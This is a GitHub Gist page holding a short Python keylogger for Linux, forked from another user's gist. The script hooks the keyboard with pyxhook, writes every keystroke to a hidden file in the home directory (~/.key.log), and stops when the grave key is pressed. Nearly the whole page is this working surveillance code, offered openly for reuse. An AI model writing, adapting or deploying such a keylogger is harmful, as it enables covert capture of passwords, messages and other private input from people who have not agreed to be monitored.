Skip to content

Instantly share code, notes, and snippets.

@tejastank
Forked from smellslikeml/keylogger.py
Created April 7, 2020 13:29
Show Gist options
  • Save tejastank/820c34d7a231545388afd4d2362c1fa1 to your computer and use it in GitHub Desktop.
Save tejastank/820c34d7a231545388afd4d2362c1fa1 to your computer and use it in GitHub Desktop.
keylogger
#!/usr/bin/env python
"""
Based on script by Aman Deep
A simple keylogger witten in python for linux platform
All keystrokes are recorded in a log file.
The program terminates when grave key(`) is pressed
grave key is found below Esc key
"""
import os
import pyxhook
#hidden key log file
log_file=os.path.join(os.environ['HOME'], '.key.log')
#called on key press
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96: #96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment